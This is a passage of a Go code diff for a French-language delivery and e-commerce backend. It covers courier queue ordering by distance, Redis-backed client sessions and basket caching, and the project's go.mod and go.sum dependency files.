if err := json.Unmarshal([]byte(destData), &coords); err == nil {
lat = coords.Lat
lng = coords.Lon
log.Printf("📍 Coordonnées récupérées depuis cache destination pour commande %d: (%.6f, %.6f)", commandID, lat, lng)
}
}
}
// 3. Si toujours 0, récupérer depuis la DB
if lat == 0 && lng == 0 {
command, err := d.GetCommandByID(commandID)
if err == nil {
if dLat, ok := command["dest_latitude"].(float64); ok && dLat != 0 {
lat = dLat
}
if dLng, ok := command["dest_longitude"].(float64); ok && dLng != 0 {
lng = dLng
}
if address == "" {
if addr, ok := command["adresse"].(string); ok {
address = addr
}
}
}
}
// 4. Si toujours 0, utiliser une distance très grande
if lat == 0 && lng == 0 {
log.Printf("⚠️ Coordonnées non disponibles pour commande %d, utilisation position par défaut", commandID)
commandsWithDistance = append(commandsWithDistance, CommandWithDistance{
CommandID: commandID,
Address: address,
Lat: 0,
Lng: 0,
Distance: 999999,
EstimatedETA: 120,
QueueItem: models.CommandQueue{
CommandID: commandID,
Address: address,
Lat: 0,
Lng: 0,
},
})
continue
}
// ✅ MODIFIÉ: Distance depuis la position ACTUELLE du livreur (pas chaînée)
distance := d.CalculateDistanceBetweenPoints(livreurLat, livreurLng, lat, lng)
commandsWithDistance = append(commandsWithDistance, CommandWithDistance{
CommandID: commandID,
Address: address,
Lat: lat,
Lng: lng,
Distance: distance,
EstimatedETA: services.CalculateETA(distance),
QueueItem: models.CommandQueue{
CommandID: commandID,
Address: address,
Lat: lat,
Lng: lng,
},
})
}
if len(commandsWithDistance) == 0 {
return nil
}
// Trier par distance (la plus proche en premier)
sort.Slice(commandsWithDistance, func(i, j int) bool {
return commandsWithDistance[i].Distance < commandsWithDistance[j].Distance
})
log.Printf("🔄 Optimisation queue de %s: %d commandes triées par proximité", deliveryman, len(commandsWithDistance))
// Vider la queue actuelle
Redis.Del(RedisCtx, queueKey)
Redis.Del(RedisCtx, fmt.Sprintf("queue:deliveryman:%s:count", deliveryman))
// ✅ MODIFIÉ: Recréer la queue avec ETA = distance directe depuis position livreur
for i, cmd := range commandsWithDistance {
var travelTime int
var distance float64
if cmd.Lat != 0 && cmd.Lng != 0 {
// ✅ Distance depuis la position ACTUELLE du livreur (pas cumulative)
distance = d.CalculateDistanceBetweenPoints(livreurLat, livreurLng, cmd.Lat, cmd.Lng)
travelTime = services.CalculateETA(distance)
} else {
distance = 0
travelTime = 10
}
// ✅ ETA = temps de trajet direct uniquement
cmd.QueueItem.EstimatedETA = travelTime
score := float64(i + 1)
data, _ := json.Marshal(cmd.QueueItem)
commandKey := fmt.Sprintf("queue:pending:%d", cmd.CommandID)
Redis.Set(RedisCtx, commandKey, data, 24*time.Hour)
Redis.ZAdd(RedisCtx, queueKey, redis.Z{
Score: score,
Member: cmd.CommandID,
})
d.SetCommandETAWithDetails(cmd.CommandID, travelTime, i+1)
log.Printf(" 📍 Position %d: Commande %d - %.2f km - ETA trajet: %d min",
i+1, cmd.CommandID, distance, travelTime)
}
Redis.Set(RedisCtx, fmt.Sprintf("queue:deliveryman:%s:count", deliveryman), len(commandsWithDistance), 0)
log.Printf("✅ Queue de %s optimisée: %d commandes réorganisées par proximité", deliveryman, len(commandsWithDistance))
return nil
}
func (d *Database) RecalculateQueueETAs(deliveryman string) error {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
if err != nil || len(commandIDs) == 0 {
return nil
}
// ✅ Récupérer la position actuelle du livreur
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
if err != nil {
log.Printf("⚠️ Position livreur %s non disponible pour recalcul ETA", deliveryman)
return err
}
for i, cmdIDStr := range commandIDs {
commandID := extractCommandID(cmdIDStr)
if commandID <= 0 {
continue
}
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, commandKey).Result()
if err != nil {
continue
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
continue
}
// ✅ MODIFIÉ: ETA = distance directe depuis position livreur
travelTime := d.CalculateETABetweenPoints(livreurLat, livreurLng, queueItem.Lat, queueItem.Lng)
d.SetCommandETAWithDetails(commandID, travelTime, i+1)
queueItem.EstimatedETA = travelTime
updatedData, _ := json.Marshal(queueItem)
Redis.Set(RedisCtx, commandKey, updatedData, 24*time.Hour)
}
log.Printf("🔄 ETAs recalculés pour %d commandes de %s (trajet direct)", len(commandIDs), deliveryman)
return nil
}
func (d *Database) UpdateQueueETAsAfterCompletion(deliveryman string) error {
return d.RecalculateQueueETAs(deliveryman)
}
// FindNearestCommandInQueue trouve la commande la plus proche du livreur
func (d *Database) FindNearestCommandInQueue(deliveryman string) (*models.CommandQueue, int, error) {
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
if err != nil {
return nil, 0, fmt.Errorf("position livreur non disponible: %w", err)
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
if err != nil || len(commandIDs) == 0 {
return nil, 0, fmt.Errorf("queue vide")
}
var nearestCommand *models.CommandQueue
var nearestDistance float64 = math.MaxFloat64
var nearestETA int
for _, cmdIDStr := range commandIDs {
commandID := extractCommandID(cmdIDStr)
if commandID <= 0 {
continue
}
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, commandKey).Result()
if err != nil {
continue
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
continue
}
distance := d.CalculateDistanceBetweenPoints(livreurLat, livreurLng, queueItem.Lat, queueItem.Lng)
if distance < nearestDistance {
nearestDistance = distance
nearestCommand = &queueItem
nearestETA = services.CalculateETA(distance)
}
}
if nearestCommand == nil {
return nil, 0, fmt.Errorf("aucune commande trouvée")
}
return nearestCommand, nearestETA, nil
}
+404
View File
@@ -0,0 +1,404 @@
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
"time"
)
// ============================================
// SESSION REDIS - GESTION UTILISATEUR
// ============================================
// SessionData représente une session client en Redis
type SessionData struct {
ClientID int `json:"client_id"`
Username string `json:"username"`
SessionID string `json:"session_id"`
Role string `json:"role"`
CreatedAt int64 `json:"created_at"`
LastActivity int64 `json:"last_activity"`
ExpiresAt int64 `json:"expires_at"`
BasketVersion int `json:"basket_version"`
PointsCache int `json:"points_cache"`
PenaltyCache float64 `json:"penalty_cache"`
Tags []string `json:"tags,omitempty"`
}
// ============================================
// CRÉER UNE SESSION CLIENT
// ============================================
// CreateClientSession crée une session Redis pour un client authentifié
// Appelé depuis handlers/auth.go après LoginClient réussi
//
// Exemple d'utilisation:
//
// sessionID := uuid.New().String()
// database.CreateClientSession(clientID, username, sessionID)
func (d *Database) CreateClientSession(clientID int, username string, sessionID string) error {
log.Printf("📝 [SESSION] Création session pour client: %s (ID: %d)", username, clientID)
sessionKey := fmt.Sprintf("session:client:%d", clientID)
now := time.Now().Unix()
expiresAt := now + (5 * 3600) // 5 heures
sessionData := SessionData{
ClientID: clientID,
Username: username,
SessionID: sessionID,
Role: "client",
CreatedAt: now,
LastActivity: now,
ExpiresAt: expiresAt,
BasketVersion: 0,
PointsCache: 0,
PenaltyCache: 0,
}
// Sérialiser et sauvegarder
sessionJSON, err := json.Marshal(sessionData)
if err != nil {
log.Printf("❌ [SESSION] Erreur sérialisation: %v", err)
return fmt.Errorf("erreur sérialisation session: %w", err)
}
ttl := time.Duration(expiresAt-now) * time.Second
if err := Redis.Set(RedisCtx, sessionKey, sessionJSON, ttl).Err(); err != nil {
log.Printf("❌ [SESSION] Erreur sauvegarde Redis: %v", err)
return fmt.Errorf("erreur sauvegarde session Redis: %w", err)
}
// Ajouter à l'index des sessions actives
if err := Redis.SAdd(RedisCtx, "session:active:clients", clientID).Err(); err != nil {
log.Printf("⚠️ [SESSION] Erreur ajout index: %v", err)
}
// Charger les infos du client (points, penalty) dans le cache
if client, err := d.GetClientByUsername(username); err == nil {
sessionData.PointsCache = int(client.Point)
sessionData.PenaltyCache = float64(client.Amende)
sessionJSON, _ := json.Marshal(sessionData)
Redis.Set(RedisCtx, sessionKey, sessionJSON, ttl)
}
log.Printf("✅ [SESSION] Session créée pour %s - TTL: 5h", username)
return nil
}
// ============================================
// RÉCUPÉRER UNE SESSION CLIENT
// ============================================
// GetClientSession récupère la session Redis d'un client
// Retourne nil si session expirée ou inexistante
func (d *Database) GetClientSession(clientID int) (*SessionData, error) {
sessionKey := fmt.Sprintf("session:client:%d", clientID)
data, err := Redis.Get(RedisCtx, sessionKey).Result()
if err != nil {
log.Printf("⚠️ [SESSION] Pas de session trouvée pour client %d", clientID)
return nil, fmt.Errorf("session non trouvée")
}
var session SessionData
if err := json.Unmarshal([]byte(data), &session); err != nil {
log.Printf("❌ [SESSION] Erreur désérialisation: %v", err)
return nil, fmt.Errorf("erreur désérialisation: %w", err)
}
// Vérifier si session expirée
if time.Now().Unix() > session.ExpiresAt {
log.Printf("⚠️ [SESSION] Session expirée pour client %d", clientID)
Redis.Del(RedisCtx, sessionKey)
return nil, fmt.Errorf("session expirée")
}
return &session, nil
}
// ============================================
// METTRE À JOUR L'ACTIVITÉ DE SESSION
// ============================================
// RefreshSessionTimeout prolonge la durée de vie de la session
// Appelé régulièrement par SessionMiddleware (chaque requête client)
func (d *Database) RefreshSessionTimeout(clientID int) error {
sessionKey := fmt.Sprintf("session:client:%d", clientID)
// Récupérer la session
data, err := Redis.Get(RedisCtx, sessionKey).Result()
if err != nil {
return fmt.Errorf("session non trouvée")
}
var session SessionData
if err := json.Unmarshal([]byte(data), &session); err != nil {
return fmt.Errorf("erreur désérialisation: %w", err)
}
// Mettre à jour lastActivity et expiresAt
now := time.Now().Unix()
session.LastActivity = now
session.ExpiresAt = now + (5 * 3600) // Prolonger de 5 heures
// Resauvegarder
sessionJSON, _ := json.Marshal(session)
ttl := time.Duration(session.ExpiresAt-now) * time.Second
if err := Redis.Set(RedisCtx, sessionKey, sessionJSON, ttl).Err(); err != nil {
log.Printf("⚠️ [SESSION] Erreur refresh: %v", err)
return nil // Pas critique
}
return nil
}
// ============================================
// INVALIDER UNE SESSION (LOGOUT)
// ============================================
// InvalidateSession supprime la session Redis (logout)
// Appelé depuis handlers/auth.go dans LogoutClient
func (d *Database) InvalidateSession(clientID int) error {
sessionKey := fmt.Sprintf("session:client:%d", clientID)
basketKey := fmt.Sprintf("session:basket:%d", clientID)
// Supprimer la session
if err := Redis.Del(RedisCtx, sessionKey).Err(); err != nil {
log.Printf("⚠️ [SESSION] Erreur suppression: %v", err)
}
// Vider le panier Redis
if err := Redis.Del(RedisCtx, basketKey).Err(); err != nil {
log.Printf("⚠️ [SESSION] Erreur suppression panier: %v", err)
}
// Retirer de l'index
if err := Redis.SRem(RedisCtx, "session:active:clients", clientID).Err(); err != nil {
log.Printf("⚠️ [SESSION] Erreur retrait index: %v", err)
}
log.Printf("✅ [SESSION] Session invalidée pour client %d", clientID)
return nil
}
// ============================================
// PANIER EN CACHE REDIS
// ============================================
// BasketItemCache représente un item du panier en cache
type BasketItemCache struct {
ID int `json:"id"`
ProductID int `json:"product_id"`
ProductName string `json:"product_name"`
Quantity int `json:"quantity"`
Price float64 `json:"price"`
Category string `json:"category"`
AddedAt int64 `json:"added_at"`
}
// GetSessionBasket récupère le panier en cache Redis
// Retourne les items du panier avec total
func (d *Database) GetSessionBasket(clientID int) ([]BasketItemCache, float64, error) {
basketKey := fmt.Sprintf("session:basket:%d", clientID)
// Récupérer tous les items du panier
items, err := Redis.HGetAll(RedisCtx, basketKey).Result()
if err != nil {
log.Printf("⚠️ [BASKET] Pas de panier en cache pour client %d", clientID)
return []BasketItemCache{}, 0, nil
}
var basketItems []BasketItemCache
var totalPrice float64
for _, itemJSON := range items {
var item BasketItemCache
if err := json.Unmarshal([]byte(itemJSON), &item); err != nil {
log.Printf("⚠️ [BASKET] Erreur parsing item: %v", err)
continue
}
basketItems = append(basketItems, item)
totalPrice += item.Price * float64(item.Quantity)
}
return basketItems, totalPrice, nil
}
// UpdateSessionBasket met à jour le panier en cache Redis
// Appelé après ajout/modification d'un produit au panier
func (d *Database) UpdateSessionBasket(clientID int, basketItems []BasketItemCache) error {
basketKey := fmt.Sprintf("session:basket:%d", clientID)
// Vider le panier existant
Redis.Del(RedisCtx, basketKey)
// Ajouter tous les items
for _, item := range basketItems {
itemJSON, _ := json.Marshal(item)
if err := Redis.HSet(RedisCtx, basketKey, item.ProductID, itemJSON).Err(); err != nil {
log.Printf("⚠️ [BASKET] Erreur ajout item: %v", err)
}
}
// TTL: 24 heures
if err := Redis.Expire(RedisCtx, basketKey, 24*time.Hour).Err(); err != nil {
log.Printf("⚠️ [BASKET] Erreur TTL: %v", err)
}
return nil
}
// ClearSessionBasket vide le panier en cache Redis
// Appelé après validation de commande (checkout)
func (d *Database) ClearSessionBasket(clientID int) error {
basketKey := fmt.Sprintf("session:basket:%d", clientID)
if err := Redis.Del(RedisCtx, basketKey).Err(); err != nil {
log.Printf("⚠️ [BASKET] Erreur clear: %v", err)
return nil
}
log.Printf("✅ [BASKET] Panier vidé pour client %d", clientID)
return nil
}
// ============================================
// UTILITAIRES SESSION
// ============================================
// GetAllActiveSessions récupère toutes les sessions actives
// Utile pour admin/stats
func (d *Database) GetAllActiveSessions() ([]SessionData, error) {
clientIDs, err := Redis.SMembers(RedisCtx, "session:active:clients").Result()
if err != nil {
return nil, fmt.Errorf("erreur récupération sessions: %w", err)
}
var sessions []SessionData
for _, clientIDStr := range clientIDs {
var clientID int
if _, err := fmt.Sscanf(clientIDStr, "%d", &clientID); err != nil {
continue
}
if session, err := d.GetClientSession(clientID); err == nil {
sessions = append(sessions, *session)
}
}
return sessions, nil
}
// GetSessionCount retourne le nombre de sessions actives
func (d *Database) GetSessionCount() (int64, error) {
count, err := Redis.SCard(RedisCtx, "session:active:clients").Result()
if err != nil {
return 0, fmt.Errorf("erreur comptage sessions: %w", err)
}
return count, nil
}
// ============================================
// CACHE PROFIL CLIENT
// ============================================
// CacheClientProfile met en cache les infos du client (pour 1h)
func (d *Database) CacheClientProfile(client interface{}) error {
// Récupérer le client depuis DB si c'est un username
var clientData *models.Client
// Si c'est un username string
if username, ok := client.(string); ok {
var err error
clientData, err = d.GetClientByUsername(username)
if err != nil {
return fmt.Errorf("client non trouvé: %w", err)
}
} else {
// Si c'est déjà un *models.Client
clientData = client.(*models.Client)
}
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientData.ID)
// Sérialiser
profileJSON, err := json.Marshal(clientData)
if err != nil {
return fmt.Errorf("erreur sérialisation: %w", err)
}
// Sauvegarder avec TTL 1h
if err := Redis.Set(RedisCtx, cacheKey, profileJSON, 1*time.Hour).Err(); err != nil {
return fmt.Errorf("erreur cache: %w", err)
}
log.Printf("✅ [CACHE] Profil client %d mis en cache (1h)", clientData.ID)
return nil
}
// GetCachedClientProfile récupère le profil en cache
func (d *Database) GetCachedClientProfile(clientID int) (*models.Client, error) {
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientID)
data, err := Redis.Get(RedisCtx, cacheKey).Result()
if err != nil {
return nil, fmt.Errorf("cache miss")
}
var client models.Client
if err := json.Unmarshal([]byte(data), &client); err != nil {
return nil, fmt.Errorf("erreur désérialisation: %w", err)
}
return &client, nil
}
// InvalidateClientCache invalide le cache du client
func (d *Database) InvalidateClientCache(clientID int) error {
cacheKey := fmt.Sprintf("cache:client:profile:%d", clientID)
if err := Redis.Del(RedisCtx, cacheKey).Err(); err != nil {
return fmt.Errorf("erreur invalidation: %w", err)
}
log.Printf("✅ [CACHE] Profil client %d invalidé", clientID)
return nil
}
// ============================================
// COMMANDES EN CACHE (POUR TRACKING)
// ============================================
// CacheCommandInfo met en cache les infos d'une commande
func (d *Database) CacheCommandInfo(commandID int, command map[string]interface{}) error {
cacheKey := fmt.Sprintf("cache:command:%d", commandID)
commandJSON, err := json.Marshal(command)
if err != nil {
return fmt.Errorf("erreur sérialisation: %w", err)
}
// TTL: 4 heures
if err := Redis.Set(RedisCtx, cacheKey, commandJSON, 4*time.Hour).Err(); err != nil {
return fmt.Errorf("erreur cache: %w", err)
}
return nil
}
// GetCachedCommand récupère une commande en cache
func (d *Database) GetCachedCommand(commandID int) (map[string]interface{}, error) {
cacheKey := fmt.Sprintf("cache:command:%d", commandID)
data, err := Redis.Get(RedisCtx, cacheKey).Result()
if err != nil {
return nil, fmt.Errorf("cache miss")
}
var command map[string]interface{}
if err := json.Unmarshal([]byte(data), &command); err != nil {
return nil, fmt.Errorf("erreur désérialisation: %w", err)
}
return command, nil
}
+53
View File
@@ -0,0 +1,53 @@
module gestion
go 1.24.4
require (
github.com/gin-contrib/cors v1.7.6
github.com/gin-contrib/sessions v1.0.4
github.com/gin-gonic/gin v1.11.0
github.com/joho/godotenv v1.5.1
github.com/lib/pq v1.10.9
)
require (
github.com/bytedance/sonic v1.14.0 // indirect
github.com/bytedance/sonic/loader v0.3.0 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/cloudwego/base64x v0.1.6 // indirect
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f // indirect
github.com/gabriel-vasile/mimetype v1.4.9 // indirect
github.com/gin-contrib/sse v1.1.0 // indirect
github.com/go-playground/locales v0.14.1 // indirect
github.com/go-playground/universal-translator v0.18.1 // indirect
github.com/go-playground/validator/v10 v10.27.0 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.18.0 // indirect
github.com/golang-jwt/jwt/v5 v5.3.0 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/gorilla/context v1.1.2 // indirect
github.com/gorilla/securecookie v1.1.2 // indirect
github.com/gorilla/sessions v1.4.0 // indirect
github.com/json-iterator/go v1.1.12 // indirect
github.com/klauspost/cpuid/v2 v2.3.0 // indirect
github.com/leodido/go-urn v1.4.0 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/quic-go/qpack v0.5.1 // indirect
github.com/quic-go/quic-go v0.54.0 // indirect
github.com/redis/go-redis/v9 v9.17.0 // indirect
github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
github.com/ugorji/go/codec v1.3.0 // indirect
go.uber.org/mock v0.5.0 // indirect
golang.org/x/arch v0.20.0 // indirect
golang.org/x/crypto v0.40.0 // indirect
golang.org/x/mod v0.25.0 // indirect
golang.org/x/net v0.42.0 // indirect
golang.org/x/sync v0.16.0 // indirect
golang.org/x/sys v0.35.0 // indirect
golang.org/x/text v0.27.0 // indirect
golang.org/x/tools v0.34.0 // indirect
google.golang.org/protobuf v1.36.9 // indirect
)
+115
View File
@@ -0,0 +1,115 @@
github.com/bytedance/sonic v1.14.0 h1:/OfKt8HFw0kh2rj8N0F6C/qPGRESq0BbaNZgcNXXzQQ=
github.com/bytedance/sonic v1.14.0/go.mod h1:WoEbx8WTcFJfzCe0hbmyTGrfjt8PzNEBdxlNUO24NhA=
github.com/bytedance/sonic/loader v0.3.0 h1:dskwH8edlzNMctoruo8FPTJDF3vLtDT0sXZwvZJyqeA=
github.com/bytedance/sonic/loader v0.3.0/go.mod h1:N8A3vUdtUebEY2/VQC0MyhYeKUFosQU6FxH2JmUe6VI=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cloudwego/base64x v0.1.6 h1:t11wG9AECkCDk5fMSoxmufanudBtJ+/HemLstXDLI2M=
github.com/cloudwego/base64x v0.1.6/go.mod h1:OFcloc187FXDaYHvrNIjxSe8ncn0OOM8gEHfghB2IPU=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78=
github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc=
github.com/gabriel-vasile/mimetype v1.4.9 h1:5k+WDwEsD9eTLL8Tz3L0VnmVh9QxGjRmjBvAG7U/oYY=
github.com/gabriel-vasile/mimetype v1.4.9/go.mod h1:WnSQhFKJuBlRyLiKohA/2DtIlPFAbguNaG7QCHcyGok=
github.com/gin-contrib/cors v1.7.6 h1:3gQ8GMzs1Ylpf70y8bMw4fVpycXIeX1ZemuSQIsnQQY=
github.com/gin-contrib/cors v1.7.6/go.mod h1:Ulcl+xN4jel9t1Ry8vqph23a60FwH9xVLd+3ykmTjOk=
github.com/gin-contrib/sessions v1.0.4 h1:ha6CNdpYiTOK/hTp05miJLbpTSNfOnFg5Jm2kbcqy8U=
github.com/gin-contrib/sessions v1.0.4/go.mod h1:ccmkrb2z6iU2osiAHZG3x3J4suJK+OU27oqzlWOqQgs=
github.com/gin-contrib/sse v1.1.0 h1:n0w2GMuUpWDVp7qSpvze6fAu9iRxJY4Hmj6AmBOU05w=
github.com/gin-contrib/sse v1.1.0/go.mod h1:hxRZ5gVpWMT7Z0B0gSNYqqsSCNIJMjzvm6fqCz9vjwM=
github.com/gin-gonic/gin v1.11.0 h1:OW/6PLjyusp2PPXtyxKHU0RbX6I/l28FTdDlae5ueWk=
github.com/gin-gonic/gin v1.11.0/go.mod h1:+iq/FyxlGzII0KHiBGjuNn4UNENUlKbGlNmc+W50Dls=
github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY=
github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY=
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
github.com/go-playground/validator/v10 v10.27.0 h1:w8+XrWVMhGkxOaaowyKH35gFydVHOvC0/uWoy2Fzwn4=
github.com/go-playground/validator/v10 v10.27.0/go.mod h1:I5QpIEbmr8On7W0TktmJAumgzX4CA1XNl4ZmDuVHKKo=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.18.0 h1:8W7wMFS12Pcas7KU+VVkaiCng+kG8QiFeFwzFb+rwuw=
github.com/goccy/go-yaml v1.18.0/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/golang-jwt/jwt/v5 v5.3.0 h1:pv4AsKCKKZuqlgs5sUmn4x8UlGa0kEVt/puTpKx9vvo=
github.com/golang-jwt/jwt/v5 v5.3.0/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=
github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/context v1.1.2 h1:WRkNAv2uoa03QNIc1A6u4O7DAGMUVoopZhkiXWA2V1o=
github.com/gorilla/context v1.1.2/go.mod h1:KDPwT9i/MeWHiLl90fuTgrt4/wPcv75vFAZLaOOcbxM=
github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA=
github.com/gorilla/securecookie v1.1.2/go.mod h1:NfCASbcHqRSY+3a8tlWJwsQap2VX5pwzwo4h3eOamfo=
github.com/gorilla/sessions v1.4.0 h1:kpIYOp/oi6MG/p5PgxApU8srsSw9tuFbt46Lt7auzqQ=
github.com/gorilla/sessions v1.4.0/go.mod h1:FLWm50oby91+hl7p/wRxDth9bWSuk0qVL2emc7lT5ik=
github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=
github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4=
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=
github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=
github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw=
github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/quic-go/qpack v0.5.1 h1:giqksBPnT/HDtZ6VhtFKgoLOWmlyo9Ei6u9PqzIMbhI=
github.com/quic-go/qpack v0.5.1/go.mod h1:+PC4XFrEskIVkcLzpEkbLqq1uCoxPhQuvK5rH1ZgaEg=
github.com/quic-go/quic-go v0.54.0 h1:6s1YB9QotYI6Ospeiguknbp2Znb/jZYjZLRXn9kMQBg=
github.com/quic-go/quic-go v0.54.0/go.mod h1:e68ZEaCdyviluZmy44P6Iey98v/Wfz6HCjQEm+l8zTY=
github.com/redis/go-redis/v9 v9.17.0 h1:K6E+ZlYN95KSMmZeEQPbU/c++wfmEvfFB17yEAq/VhM=
github.com/redis/go-redis/v9 v9.17.0/go.mod h1:u410H11HMLoB+TP67dz8rL9s6QW2j76l0//kSOd3370=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
